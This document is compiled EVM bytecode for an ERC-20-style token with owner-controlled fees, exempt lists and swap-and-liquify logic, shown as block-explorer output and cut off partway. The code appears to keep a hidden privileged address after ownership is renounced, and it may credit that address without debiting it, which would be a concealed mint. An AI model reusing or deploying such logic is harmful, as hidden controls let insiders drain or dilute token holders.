0007c6565b600085815260208120601f198616915b828110156200086c578886015182559484019460019091019084016200084b565b50858210156200088b5787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620008f2578160001904821115620008d657620008d66200089b565b80851615620008e457918102915b93841c9390800290620008b6565b509250929050565b6000826200090b575060016200069e565b816200091a575060006200069e565b81600181146200093357600281146200093e576200095e565b60019150506200069e565b60ff8411156200095257620009526200089b565b50506001821b6200069e565b5060208310610133831016604e8410600b841016171562000983575081810a6200069e565b6200098f8383620008b1565b8060001904821115620009a657620009a66200089b565b029392505050565b60006200069b60ff841683620008fa565b80820281158282048414176200069e576200069e6200089b565b600060208284031215620009ec57600080fd5b81516001600160a01b03811681146200069b57600080fd5b808201808211156200069e576200069e6200089b565b600060208083528351808285015260005b8181101562000a495785810183015185820160400152820162000a2b565b506000604082860101526040601f19601f8301168501019250505092915050565b60008262000a8857634e487b7160e01b600052601260045260246000fd5b500490565b6080516124e962000ab0600039600081816104290152610b3c01526124e96000f3fe6080604052600436106103395760003560e01c806388790a68116101ab578063c49b9a80116100f7578063dd62ed3e11610095578063ea7a6eb11161006f578063ea7a6eb1146109b0578063f0cd1dac146109d0578063f2fde38b146109e6578063f61ffad614610a0657600080fd5b8063dd62ed3e14610911578063e0cde6c314610957578063e2f2a6861461099057600080fd5b8063c8607952116100d1578063c8607952146108ae578063cab03471146108c4578063d9419b73146108da578063dc44b6a0146108fb57600080fd5b8063c49b9a8014610858578063c5d2418914610878578063c816841b1461088e57600080fd5b8063a08e671f11610164578063a9059cbb1161013e578063a9059cbb146107e2578063a911928c14610802578063c2d4640e14610822578063c469b6dd1461084257600080fd5b8063a08e671f14610796578063a457c2d7146107ac578063a83f53a7146107cc57600080fd5b806388790a68146107035780638da5cb5b14610719578063914eb66a14610737578063948071d91461074c57806395d89b411461076c578063a073d37f1461078157600080fd5b806342e0369d1161028557806361a23c69116102235780636ebb9cf5116101fd5780636ebb9cf51461067757806370a082311461069757806382eefb43146106cd578063844d591c146106e357600080fd5b806361a23c6914610621578063632e544214610637578063689b30c31461065757600080fd5b80635342acb41161025f5780635342acb41461059a57806357a5802f146105ca5780635b702a55146105e0578063614d19b81461060057600080fd5b806342e0369d146105395780634a74bb021461055957806350b20cac1461057a57600080fd5b80632b112e49116102f25780633b97084a116102cc5780633b97084a146104a25780633e07387c146104c45780633e4e1728146104e45780633ecad2711461050957600080fd5b80632b112e491461044b578063313ce56714610460578063395093511461048257600080fd5b806306fdde0314610345578063095ea7b3146103705780631694505e146103a057806318160ddd146103d857806323b872dd146103f757806327c8f8351461041757600080fd5b3661034057005b600080fd5b34801561035157600080fd5b5061035a610a26565b6040516103679190611f6e565b60405180910390f35b34801561037c57600080fd5b5061039061038b366004611fd4565b610ab8565b6040519015158152602001610367565b3480156103ac57600080fd5b506018546103c0906001600160a01b031681565b6040516001600160a01b039091168152602001610367565b3480156103e457600080fd5b506016545b604051908152602001610367565b34801561040357600080fd5b50610390610412366004612000565b610acf565b34801561042357600080fd5b506103c07f000000000000000000000000000000000000000000000000000000000000000081565b34801561045757600080fd5b506103e9610b3a565b34801561046c57600080fd5b5060035460405160ff9091168152602001610367565b34801561048e57600080fd5b5061039061049d366004611fd4565b610b84565b3480156104ae57600080fd5b506104c26104bd366004612041565b610bba565b005b3480156104d057600080fd5b506104c26104df36600461206f565b610bf2565b3480156104f057600080fd5b506003546103c09061010090046001600160a01b031681565b34801561051557600080fd5b5061039061052436600461208a565b60086020526000908152604090205460ff1681565b34801561054557600080fd5b506104c26105543660046120f3565b610c3a565b34801561056557600080fd5b5060195461039090600160a81b900460ff1681565b34801561058657600080fd5b506104c26105953660046120f3565b610ce6565b3480156105a657600080fd5b506103906105b536600461208a565b60076020526000908152604090205460ff1681565b3480156105d657600080fd5b506103e960105481565b3480156105ec57600080fd5b506104c26105fb366004612147565b610d8c565b34801561060c57600080fd5b5060195461039090600160b81b900460ff1681565b34801561062d57600080fd5b506103e960115481565b34801561064357600080fd5b506104c2610652366004612173565b610de1565b34801561066357600080fd5b506104c261067236600461208a565b610e9a565b34801561068357600080fd5b506104c2610692366004612147565b610eec565b3480156106a357600080fd5b506103e96106b236600461208a565b6001600160a01b031660009081526005602052604090205490565b3480156106d957600080fd5b506103e960145481565b3480156106ef57600080fd5b506104c26106fe3660046121bf565b610f3b565b34801561070f57600080fd5b506103e9600d5481565b34801561072557600080fd5b506000546001600160a01b03166103c0565b34801561074357600080fd5b506104c2610f90565b34801561075857600080fd5b506104c26107673660046121bf565b61100a565b34801561077857600080fd5b5061035a61105f565b34801561078d57600080fd5b506017546103e9565b3480156107a257600080fd5b506103e960155481565b3480156107b857600080fd5b506103906107c7366004611fd4565b61106e565b3480156107d857600080fd5b506103e960125481565b3480156107ee57600080fd5b506103906107fd366004611fd4565b6110bd565b34801561080e57600080fd5b5061039061081d3660046121f4565b101590565b34801561082e57600080fd5b506104c261083d366004612147565b6110ca565b34801561084e57600080fd5b506103e9600c5481565b34801561086457600080fd5b506104c261087336600461206f565b611119565b34801561088457600080fd5b506103e9600b5481565b34801561089a57600080fd5b506019546103c0906001600160a01b031681565b3480156108ba57600080fd5b506103e9600e5481565b3480156108d057600080fd5b506103e9600f5481565b3480156108e657600080fd5b5060195461039090600160b01b900460ff1681565b34801561090757600080fd5b506103e9600a5481565b34801561091d57600080fd5b506103e961092c366004612216565b6001600160a01b03918216600090815260066020908152604080832093909416825291909152205490565b34801561096357600080fd5b5061039061097236600461208a565b6001600160a01b031660009081526009602052604090205460ff1690565b34801561099c57600080fd5b506104c26109ab3660046121bf565b61118d565b3480156109bc57600080fd5b506004546103c0906001600160a01b031681565b3480156109dc57600080fd5b506103e960135481565b3480156109f257600080fd5b506104c2610a0136600461208a565b6111e2565b348015610a1257600080fd5b506104c2610a2136600461208a565b6112cc565b606060018054610a359061224f565b80601f0160208091040260200160405190810160405280929190818152602001828054610a619061224f565b8015610aae5780601f10610a8357610100808354040283529160200191610aae565b820191906000526020600020905b815481529060010190602001808311610a9157829003601f168201915b5050505050905090565b6000610ac53384846113b9565b5060015b92915050565b6000610adc8484846114dd565b50610b2f8433610b2a85604051806060016040528060288152602001612467602891396001600160a01b038a166000908152600660209081526040808320338452909152902054919061186d565b6113b9565b5060015b9392505050565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316600090815260056020526040812054601654610b7f916118a7565b905090565b3360008181526006602090815260408083206001600160a01b03871684529091528120549091610ac5918590610b2a9086611318565b6000546001600160a01b03163314610bed5760405162461bcd60e51b8152600401610be490612289565b60405180910390fd5b601755565b6000546001600160a01b03163314610c1c5760405162461bcd60e51b8152600401610be490612289565b60198054911515600160b01b0260ff60b01b19909216919091179055565b6000546001600160a01b03163314610c645760405162461bcd60e51b8152600401610be490612289565b60c98210610c7157600080fd5b60005b82811015610ce0578160096000868685818110610c9357610c936122be565b9050602002016020810190610ca8919061208a565b6001600160a01b031681526020810191909152604001600020805460ff1916911515919091179055610cd9816122ea565b9050610c74565b50505050565b6000546001600160a01b03163314610d105760405162461bcd60e51b8152600401610be490612289565b60c98210610d1d57600080fd5b60005b82811015610ce0578160076000868685818110610d3f57610d3f6122be565b9050602002016020810190610d54919061208a565b6001600160a01b031681526020810191909152604001600020805460ff1916911515919091179055610d85816122ea565b9050610d20565b6000546001600160a01b03163314610db65760405162461bcd60e51b8152600401610be490612289565b600a839055600b829055600c819055610dd981610dd38585611318565b90611318565b601355505050565b6000546001600160a01b03163314610e0b5760405162461bcd60e51b8152600401610be490612289565b6107d18210610e1957600080fd5b6000610e258383612303565b33600090815260056020526040902054909150811115610e4457600080fd5b60005b83811015610e9357610e8033868684818110610e6557610e656122be565b9050602002016020810190610e7a919061208a565b856118e9565b5080610e8b816122ea565b915050610e47565b5050505050565b6000546001600160a01b03163314610ec45760405162461bcd60e51b8152600401610be490612289565b600380546001600160a01b0390921661010002610100600160a81b0319909216919091179055565b6000546001600160a01b03163314610f165760405162461bcd60e51b8152600401610be490612289565b600d839055600e829055600f819055610f3381610dd38585611318565b601455505050565b6000546001600160a01b03163314610f655760405162461bcd60e51b8152600401610be490612289565b6001600160a01b03919091166000908152600860205260409020805460ff1916911515919091179055565b6000546001600160a01b03163314610fba5760405162461bcd60e51b8152600401610be490612289565b6000805460405161dead926001600160a01b03909216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b03191661dead179055565b6000546001600160a01b031633146110345760405162461bcd60e51b8152600401610be490612289565b6001600160a01b03919091166000908152600960205260409020805460ff1916911515919091179055565b606060028054610a359061224f565b6000610ac53384610b2a8560405180606001604052806025815260200161248f602591393360009081526006602090815260408083206001600160a01b038d168452909152902054919061186d565b6000610b2f3384846114dd565b6000546001600160a01b031633146110f45760405162461bcd60e51b8152600401610be490612289565b60108390556011829055601281905561111181610dd38585611318565b601555505050565b60035461010090046001600160a01b0316331461113557600080fd5b60198054821515600160a81b0260ff60a81b199091161790556040517f53726dfcaf90650aa7eb35524f4d3220f07413c8d6cb404cc8c18bf5591bc1599061118290831515815260200190565b60405180910390a150565b6000546001600160a01b031633146111b75760405162461bcd60e51b8152600401610be490612289565b6001600160a01b03919091166000908152600760205260409020805460ff1916911515919091179055565b6000546001600160a01b0316331461120c5760405162461bcd60e51b8152600401610be490612289565b6001600160a01b0381166112715760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610be4565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b031633146112f65760405162461bcd60e51b8152600401610be490612289565b600480546001600160a01b0319166001600160a01b0392909216919091179055565b600080611325838561231a565b905083811015610b335760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610be4565b6000610b3383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506119cf565b6001600160a01b03831661141b5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610be4565b6001600160a01b03821661147c5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610be4565b6001600160a01b0383811660008181526006602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60006001600160a01b0384166115435760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610be4565b6001600160a01b0383166115a55760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610be4565b601954600160a01b900460ff16156115c9576115c28484846118e9565b9050610b33565b6001600160a01b03841660009081526007602052604090205460ff1615801561160b57506001600160a01b03831660009081526007602052604090205460ff16155b15611680576000805b600181136116705760408051602081018390529081018590524260608201526080016040516020818303038152906040528051906020012060001c915061165d868360646118e9565b50806116688161232d565b915050611614565b5061167c606484612345565b9250505b30600090815260056020526040902054601754811080159081906116ae5750601954600160a01b900460ff16155b80156116d357506001600160a01b03861660009081526008602052604090205460ff16155b80156116e85750601954600160a81b900460ff165b1561170e57601954600160b01b900460ff16156117055760175491505b61170e826119fd565b6117188686611b38565b15611789576040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b03891660009081526005909152919091205461176f91869061186d565b6001600160a01b0387166000908152600560205260409020555b6001600160a01b03861660009081526007602052604081205460ff16806117c857506001600160a01b03861660009081526007602052604090205460ff165b156117d45750836117e2565b6117df878787611b7c565b90505b6001600160a01b0386166000908152600560205260409020546118059082611318565b6001600160a01b0380881660008181526005602052604090819020939093559151908916907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906118599085815260200190565b60405180910390a360019350505050610b33565b600081848411156118915760405162461bcd60e51b8152600401610be49190611f6e565b50600061189e8486612345565b95945050505050565b6000610b3383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061186d565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b038616600090815260059091529182205461193a91849061186d565b6001600160a01b0380861660009081526005602052604080822093909355908516815220546119699083611318565b6001600160a01b0380851660008181526005602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906119bd9086815260200190565b60405180910390a35060019392505050565b600081836119f05760405162461bcd60e51b8152600401610be49190611f6e565b50600061189e8486612358565b6019805460ff60a01b1916600160a01b179055601554601054600091611a3391600291611a2d9182908790611c6d565b90611377565b90506000611a4183836118a7565b9050611a4c81611cef565b6010544790600090611a6c90611a63906002611377565b601554906118a7565b90506000611a8e6002611a2d84611a2d60105488611c6d90919063ffffffff16565b90506000611aab83611a2d60125487611c6d90919063ffffffff16565b90506000611ac382611abd87866118a7565b906118a7565b90508015611ae657600354611ae69061010090046001600160a01b031682611e82565b8115611b0257600454611b02906001600160a01b031683611e82565b600083118015611b125750600087115b15611b2157611b218784611ebd565b50506019805460ff60a01b19169055505050505050565b6000816001600160a01b0316836001600160a01b0316141580610b3357506003546001600160a01b0384811661010090920416141580610b33575060009392505050565b60008060009050611b9d6064611a2d60135486611c6d90919063ffffffff16565b6001600160a01b03861660009081526009602052604090205490915060ff168015611be157506001600160a01b03851660009081526008602052604090205460ff16155b15611be95750815b8015611c635730600090815260056020526040902054611c099082611318565b30600081815260056020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90611c5a9085815260200190565b60405180910390a35b61189e83826118a7565b600082600003611c7f57506000610ac9565b6000611c8b8385612303565b905082611c988583612358565b14610b335760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610be4565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110611d2457611d246122be565b6001600160a01b03928316602091820292909201810191909152601854604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611d7d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611da1919061237a565b81600181518110611db457611db46122be565b6001600160a01b039283166020918202929092010152601854611dda91309116846113b9565b60185460405163791ac94760e01b81526001600160a01b039091169063791ac94790611e139085906000908690309042906004016123db565b600060405180830381600087803b158015611e2d57600080fd5b505af1158015611e41573d6000803e3d6000fd5b505050507f32cde87eb454f3a0b875ab23547023107cfad454363ec88ba5695e2c24aa52a78282604051611e76929190612417565b60405180910390a15050565b6040516001600160a01b0383169082156108fc029083906000818181858888f19350505050158015611eb8573d6000803e3d6000fd5b505050565b601854611ed59030906001600160a01b0316846113b9565b6018546004805460405163f305d71960e01b815230928101929092526024820185905260006044830181905260648301526001600160a01b0390811660848301524260a48301529091169063f305d71990839060c40160606040518083038185885af1158015611f49573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610e939190612438565b600060208083528351808285015260005b81811015611f9b57858101830151858201604001528201611f7f565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114611fd157600080fd5b50565b60008060408385031215611fe757600080fd5b8235611ff281611fbc565b946020939093013593505050565b60008060006060848603121561201557600080fd5b833561202081611fbc565b9250602084013561203081611fbc565b929592945050506040919091013590565b60006020828403121561205357600080fd5b5035919050565b8035801515811461206a57600080fd5b919050565b60006020828403121561208157600080fd5b610b338261205a565b60006020828403121561209c57600080fd5b8135610b3381611fbc565b60008083601f8401126120b957600080fd5b50813567ffffffffffffffff8111156120d157600080fd5b6020830191508360208260051b85010111156120ec57600080fd5b9250929050565b60008060006040848603121561210857600080fd5b833567ffffffffffffffff81111561211f57600080fd5b61212b868287016120a7565b909450925061213e90506020850161205a565b90509250925092565b60008060006060848603121561215c57600080fd5b505081359360208301359350604090920135919050565b60008060006040848603121561218857600080fd5b833567ffffffffffffffff81111561219f57600080fd5b6121ab868287016120a7565b909790965060209590950135949350505050565b600080604083850312156121d257600080fd5b82356121dd81611fbc565b91506121eb6020840161205a565b90509250929050565b6000806040838503121561220757600080fd5b50508035926020909101359150565b6000806040838503121561222957600080fd5b823561223481611fbc565b9150602083013561224481611fbc565b809150509250929050565b600181811c9082168061226357607f821691505b60208210810361228357634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600182016122fc576122fc6122d4565b5060010190565b8082028115828204841417610ac957610ac96122d4565b80820180821115610ac957610ac96122d4565b60006001600160ff1b0182016122fc576122fc6122d4565b81810381811115610ac957610ac96122d4565b60008261237557634e487b7160e01b600052601260045260246000fd5b500490565b60006020828403121561238c57600080fd5b8151610b3381611fbc565b600081518084526020808501945080840160005b838110156123d05781516001600160a01b0316875295820195908201906001016123ab565b509495945050505050565b85815284602082015260a0604082015260006123fa60a0830186612397565b6001600160a01b0394909416606083015250608001529392505050565b8281526040602082015260006124306040830184612397565b949350505050565b60008060006060848603121561244d57600080fd5b835192506020840151915060408401519050925092509256fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa264697066735822122005d6b8d15667bb6ab959d0fe7b6a2b3db5f2324647ac32de3bde53c2169ff3b564736f6c63430008110033ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef

Deployed Bytecode

0x6080604052600436106103395760003560e01c806388790a68116101ab578063c49b9a80116100f7578063dd62ed3e11610095578063ea7a6eb11161006f578063ea7a6eb1146109b0578063f0cd1dac146109d0578063f2fde38b146109e6578063f61ffad614610a0657600080fd5b8063dd62ed3e14610911578063e0cde6c314610957578063e2f2a6861461099057600080fd5b8063c8607952116100d1578063c8607952146108ae578063cab03471146108c4578063d9419b73146108da578063dc44b6a0146108fb57600080fd5b8063c49b9a8014610858578063c5d2418914610878578063c816841b1461088e57600080fd5b8063a08e671f11610164578063a9059cbb1161013e578063a9059cbb146107e2578063a911928c14610802578063c2d4640e14610822578063c469b6dd1461084257600080fd5b8063a08e671f14610796578063a457c2d7146107ac578063a83f53a7146107cc57600080fd5b806388790a68146107035780638da5cb5b14610719578063914eb66a14610737578063948071d91461074c57806395d89b411461076c578063a073d37f1461078157600080fd5b806342e0369d1161028557806361a23c69116102235780636ebb9cf5116101fd5780636ebb9cf51461067757806370a082311461069757806382eefb43146106cd578063844d591c146106e357600080fd5b806361a23c6914610621578063632e544214610637578063689b30c31461065757600080fd5b80635342acb41161025f5780635342acb41461059a57806357a5802f146105ca5780635b702a55146105e0578063614d19b81461060057600080fd5b806342e0369d146105395780634a74bb021461055957806350b20cac1461057a57600080fd5b80632b112e49116102f25780633b97084a116102cc5780633b97084a146104a25780633e07387c146104c45780633e4e1728146104e45780633ecad2711461050957600080fd5b80632b112e491461044b578063313ce56714610460578063395093511461048257600080fd5b806306fdde0314610345578063095ea7b3146103705780631694505e146103a057806318160ddd146103d857806323b872dd146103f757806327c8f8351461041757600080fd5b3661034057005b600080fd5b34801561035157600080fd5b5061035a610a26565b6040516103679190611f6e565b60405180910390f35b34801561037c57600080fd5b5061039061038b366004611fd4565b610ab8565b6040519015158152602001610367565b3480156103ac57600080fd5b506018546103c0906001600160a01b031681565b6040516001600160a01b039091168152602001610367565b3480156103e457600080fd5b506016545b604051908152602001610367565b34801561040357600080fd5b50610390610412366004612000565b610acf565b34801561042357600080fd5b506103c07f000000000000000000000000000000000000000000000000000000000000dead81565b34801561045757600080fd5b506103e9610b3a565b34801561046c57600080fd5b5060035460405160ff9091168152602001610367565b34801561048e57600080fd5b5061039061049d366004611fd4565b610b84565b3480156104ae57600080fd5b506104c26104bd366004612041565b610bba565b005b3480156104d057600080fd5b506104c26104df36600461206f565b610bf2565b3480156104f057600080fd5b506003546103c09061010090046001600160a01b031681565b34801561051557600080fd5b5061039061052436600461208a565b60086020526000908152604090205460ff1681565b34801561054557600080fd5b506104c26105543660046120f3565b610c3a565b34801561056557600080fd5b5060195461039090600160a81b900460ff1681565b34801561058657600080fd5b506104c26105953660046120f3565b610ce6565b3480156105a657600080fd5b506103906105b536600461208a565b60076020526000908152604090205460ff1681565b3480156105d657600080fd5b506103e960105481565b3480156105ec57600080fd5b506104c26105fb366004612147565b610d8c565b34801561060c57600080fd5b5060195461039090600160b81b900460ff1681565b34801561062d57600080fd5b506103e960115481565b34801561064357600080fd5b506104c2610652366004612173565b610de1565b34801561066357600080fd5b506104c261067236600461208a565b610e9a565b34801561068357600080fd5b506104c2610692366004612147565b610eec565b3480156106a357600080fd5b506103e96106b236600461208a565b6001600160a01b031660009081526005602052604090205490565b3480156106d957600080fd5b506103e960145481565b3480156106ef57600080fd5b506104c26106fe3660046121bf565b610f3b565b34801561070f57600080fd5b506103e9600d5481565b34801561072557600080fd5b506000546001600160a01b03166103c0565b34801561074357600080fd5b506104c2610f90565b34801561075857600080fd5b506104c26107673660046121bf565b61100a565b34801561077857600080fd5b5061035a61105f565b34801561078d57600080fd5b506017546103e9565b3480156107a257600080fd5b506103e960155481565b3480156107b857600080fd5b506103906107c7366004611fd4565b61106e565b3480156107d857600080fd5b506103e960125481565b3480156107ee57600080fd5b506103906107fd366004611fd4565b6110bd565b34801561080e57600080fd5b5061039061081d3660046121f4565b101590565b34801561082e57600080fd5b506104c261083d366004612147565b6110ca565b34801561084e57600080fd5b506103e9600c5481565b34801561086457600080fd5b506104c261087336600461206f565b611119565b34801561088457600080fd5b506103e9600b5481565b34801561089a57600080fd5b506019546103c0906001600160a01b031681565b3480156108ba57600080fd5b506103e9600e5481565b3480156108d057600080fd5b506103e9600f5481565b3480156108e657600080fd5b5060195461039090600160b01b900460ff1681565b34801561090757600080fd5b506103e9600a5481565b34801561091d57600080fd5b506103e961092c366004612216565b6001600160a01b03918216600090815260066020908152604080832093909416825291909152205490565b34801561096357600080fd5b5061039061097236600461208a565b6001600160a01b031660009081526009602052604090205460ff1690565b34801561099c57600080fd5b506104c26109ab3660046121bf565b61118d565b3480156109bc57600080fd5b506004546103c0906001600160a01b031681565b3480156109dc57600080fd5b506103e960135481565b3480156109f257600080fd5b506104c2610a0136600461208a565b6111e2565b348015610a1257600080fd5b506104c2610a2136600461208a565b6112cc565b606060018054610a359061224f565b80601f0160208091040260200160405190810160405280929190818152602001828054610a619061224f565b8015610aae5780601f10610a8357610100808354040283529160200191610aae565b820191906000526020600020905b815481529060010190602001808311610a9157829003601f168201915b5050505050905090565b6000610ac53384846113b9565b5060015b92915050565b6000610adc8484846114dd565b50610b2f8433610b2a85604051806060016040528060288152602001612467602891396001600160a01b038a166000908152600660209081526040808320338452909152902054919061186d565b6113b9565b5060015b9392505050565b7f000000000000000000000000000000000000000000000000000000000000dead6001600160a01b0316600090815260056020526040812054601654610b7f916118a7565b905090565b3360008181526006602090815260408083206001600160a01b03871684529091528120549091610ac5918590610b2a9086611318565b6000546001600160a01b03163314610bed5760405162461bcd60e51b8152600401610be490612289565b60405180910390fd5b601755565b6000546001600160a01b03163314610c1c5760405162461bcd60e51b8152600401610be490612289565b60198054911515600160b01b0260ff60b01b19909216919091179055565b6000546001600160a01b03163314610c645760405162461bcd60e51b8152600401610be490612289565b60c98210610c7157600080fd5b60005b82811015610ce0578160096000868685818110610c9357610c936122be565b9050602002016020810190610ca8919061208a565b6001600160a01b031681526020810191909152604001600020805460ff1916911515919091179055610cd9816122ea565b9050610c74565b50505050565b6000546001600160a01b03163314610d105760405162461bcd60e51b8152600401610be490612289565b60c98210610d1d57600080fd5b60005b82811015610ce0578160076000868685818110610d3f57610d3f6122be565b9050602002016020810190610d54919061208a565b6001600160a01b031681526020810191909152604001600020805460ff1916911515919091179055610d85816122ea565b9050610d20565b6000546001600160a01b03163314610db65760405162461bcd60e51b8152600401610be490612289565b600a839055600b829055600c819055610dd981610dd38585611318565b90611318565b601355505050565b6000546001600160a01b03163314610e0b5760405162461bcd60e51b8152600401610be490612289565b6107d18210610e1957600080fd5b6000610e258383612303565b33600090815260056020526040902054909150811115610e4457600080fd5b60005b83811015610e9357610e8033868684818110610e6557610e656122be565b9050602002016020810190610e7a919061208a565b856118e9565b5080610e8b816122ea565b915050610e47565b5050505050565b6000546001600160a01b03163314610ec45760405162461bcd60e51b8152600401610be490612289565b600380546001600160a01b0390921661010002610100600160a81b0319909216919091179055565b6000546001600160a01b03163314610f165760405162461bcd60e51b8152600401610be490612289565b600d839055600e829055600f819055610f3381610dd38585611318565b601455505050565b6000546001600160a01b03163314610f655760405162461bcd60e51b8152600401610be490612289565b6001600160a01b03919091166000908152600860205260409020805460ff1916911515919091179055565b6000546001600160a01b03163314610fba5760405162461bcd60e51b8152600401610be490612289565b6000805460405161dead926001600160a01b03909216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b03191661dead179055565b6000546001600160a01b031633146110345760405162461bcd60e51b8152600401610be490612289565b6001600160a01b03919091166000908152600960205260409020805460ff1916911515919091179055565b606060028054610a359061224f565b6000610ac53384610b2a8560405180606001604052806025815260200161248f602591393360009081526006602090815260408083206001600160a01b038d168452909152902054919061186d565b6000610b2f3384846114dd565b6000546001600160a01b031633146110f45760405162461bcd60e51b8152600401610be490612289565b60108390556011829055601281905561111181610dd38585611318565b601555505050565b60035461010090046001600160a01b0316331461113557600080fd5b60198054821515600160a81b0260ff60a81b199091161790556040517f53726dfcaf90650aa7eb35524f4d3220f07413c8d6cb404cc8c18bf5591bc1599061118290831515815260200190565b60405180910390a150565b6000546001600160a01b031633146111b75760405162461bcd60e51b8152600401610be490612289565b6001600160a01b03919091166000908152600760205260409020805460ff1916911515919091179055565b6000546001600160a01b0316331461120c5760405162461bcd60e51b8152600401610be490612289565b6001600160a01b0381166112715760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610be4565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b031633146112f65760405162461bcd60e51b8152600401610be490612289565b600480546001600160a01b0319166001600160a01b0392909216919091179055565b600080611325838561231a565b905083811015610b335760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610be4565b6000610b3383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506119cf565b6001600160a01b03831661141b5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610be4565b6001600160a01b03821661147c5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610be4565b6001600160a01b0383811660008181526006602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60006001600160a01b0384166115435760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610be4565b6001600160a01b0383166115a55760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610be4565b601954600160a01b900460ff16156115c9576115c28484846118e9565b9050610b33565b6001600160a01b03841660009081526007602052604090205460ff1615801561160b57506001600160a01b03831660009081526007602052604090205460ff16155b15611680576000805b600181136116705760408051602081018390529081018590524260608201526080016040516020818303038152906040528051906020012060001c915061165d868360646118e9565b50806116688161232d565b915050611614565b5061167c606484612345565b9250505b30600090815260056020526040902054601754811080159081906116ae5750601954600160a01b900460ff16155b80156116d357506001600160a01b03861660009081526008602052604090205460ff16155b80156116e85750601954600160a81b900460ff165b1561170e57601954600160b01b900460ff16156117055760175491505b61170e826119fd565b6117188686611b38565b15611789576040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b03891660009081526005909152919091205461176f91869061186d565b6001600160a01b0387166000908152600560205260409020555b6001600160a01b03861660009081526007602052604081205460ff16806117c857506001600160a01b03861660009081526007602052604090205460ff165b156117d45750836117e2565b6117df878787611b7c565b90505b6001600160a01b0386166000908152600560205260409020546118059082611318565b6001600160a01b0380881660008181526005602052604090819020939093559151908916907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906118599085815260200190565b60405180910390a360019350505050610b33565b600081848411156118915760405162461bcd60e51b8152600401610be49190611f6e565b50600061189e8486612345565b95945050505050565b6000610b3383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061186d565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b038616600090815260059091529182205461193a91849061186d565b6001600160a01b0380861660009081526005602052604080822093909355908516815220546119699083611318565b6001600160a01b0380851660008181526005602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906119bd9086815260200190565b60405180910390a35060019392505050565b600081836119f05760405162461bcd60e51b8152600401610be49190611f6e565b50600061189e8486612358565b6019805460ff60a01b1916600160a01b179055601554601054600091611a3391600291611a2d9182908790611c6d565b90611377565b90506000611a4183836118a7565b9050611a4c81611cef565b6010544790600090